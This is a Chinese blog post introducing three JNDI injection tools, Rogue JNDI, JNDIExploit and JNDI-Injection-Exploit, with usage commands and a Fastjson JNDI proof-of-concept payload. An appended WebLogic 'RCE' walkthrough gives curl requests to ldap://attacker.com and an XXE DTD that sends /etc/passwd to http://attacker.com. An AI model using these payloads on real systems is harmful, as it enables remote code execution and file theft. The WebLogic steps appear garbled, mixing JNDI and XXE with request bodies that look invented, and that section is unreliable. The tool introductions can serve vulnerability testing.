JNDI注入辅助工具

本文介绍三种JNDI注入辅助工具(偷懒工具)

一、Rogue JNDI

简介

用于JNDI注入攻击的恶意LDAP服务器。

项目地址https://github.com/veracode-research/rogue-jndi

该项目包含LDAP和HTTP服务器,用于利用默认情况下不安全的Java JNDI API。 为了进行攻击,您可以在本地启动这些服务器,然后在易受攻击的客户端上触发JNDI解析,例如:

InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

它将启动从易受攻击的客户端到本地LDAP服务器的连接。然后,本地服务器使用包含有效载荷之一的恶意条目进行响应,这对于实现远程代码执行很有用。

除了已知的JNDI攻击方法(通过引用中的远程类加载)之外,此工具还利用ObjectFactories的功能带来了新的攻击媒介。

(注:该工具需要自行编译)


二、JNDIExploit

项目地址https://github.com/feihong-cs/JNDIExploit/tree/v.1.11

简介

一款用于 JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

使用

使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数

Usage: java -jar JNDIExploit.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

例子:

java -jar JNDIExploit-v1.11.jar -i 192.168.1.72

如下,执行后自动启动LDAP服务和HTTP服务

root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 192.168.1.72
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

三、JNDI-Injection-Exploit

项目地址https://github.com/welk1n/JNDI-Injection-Exploit

简介

JNDI-Injection-Exploit是用于生成可用的JNDI链接并通过启动RMI服务器,LDAP服务器和HTTP服务器提供后台服务的工具。 RMI服务器和LDAP服务器基于marshals,并进行了进一步修改以与HTTP服务器链接。

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。

使用此工具可以获取JNDI链接,可以将这些链接插入POC以测试漏洞。

实例

如下是一个Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值